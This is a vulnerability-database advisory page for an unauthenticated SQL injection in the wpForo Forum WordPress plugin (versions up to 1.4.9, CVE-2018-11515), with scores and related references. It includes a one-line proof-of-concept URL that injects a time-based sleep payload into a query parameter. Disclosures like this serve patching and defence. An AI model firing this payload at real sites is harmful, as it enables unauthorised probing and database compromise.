Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbRyanWPVDB-ID:F3679C75-8E9C-4034-AFF5-0DF9F0CAA489
HistoryMay 27, 2018 - 12:00 a.m.

wpForo Forum <= 1.4.9 - Unauthenticated SQL Injection

2018-05-2700:00:00
Ryan
wpscan.com
5

0.003 Low

EPSS

Percentile

71.9%

JSON

The wpForo Forum WordPress plugin was affected by an Unauthenticated SQL Injection security vulnerability.

PoC

http://www.example.com/index.php/community/?wpfd=0&amp;wpfob;=relevancy&amp;wpfo;=desc%2C(select*from(select(sleep(20)))a)&wpfs;=fff&wpfin;=entire-posts

CPENameOperatorVersion
wpforolt1.4.11

Related

patchstack 2
cve 1
cvelist 1
nvd 1
prion 1
wpexploit 1
patchstack
patchstack
WordPress wpForo Forum plugin <= 1.4.9 - Unauthenticated SQL Injection (SQLi) vulnerability
2018-06-20 00:00:00
WordPress wpForo Forum plugin <=1.4.9 - Unauthenticated SQL Injection (SQLi) vulnerability
2018-05-30 00:00:00
cve
cve
CVE-2018-11515
2018-05-28 14:29:00
cvelist
cvelist
CVE-2018-11515
2018-05-28 14:00:00
nvd
nvd
CVE-2018-11515
2018-05-28 14:29:00
prion
prion
Sql injection
2018-05-28 14:29:00
wpexploit
wpexploit
wpForo Forum <= 1.4.9 - Unauthenticated SQL Injection
2018-05-27 00:00:00

0.003 Low

EPSS

Percentile

71.9%

JSON
Related for WPVDB-ID:F3679C75-8E9C-4034-AFF5-0DF9F0CAA489
patchstack2cve1cvelist1nvd1prion1wpexploit1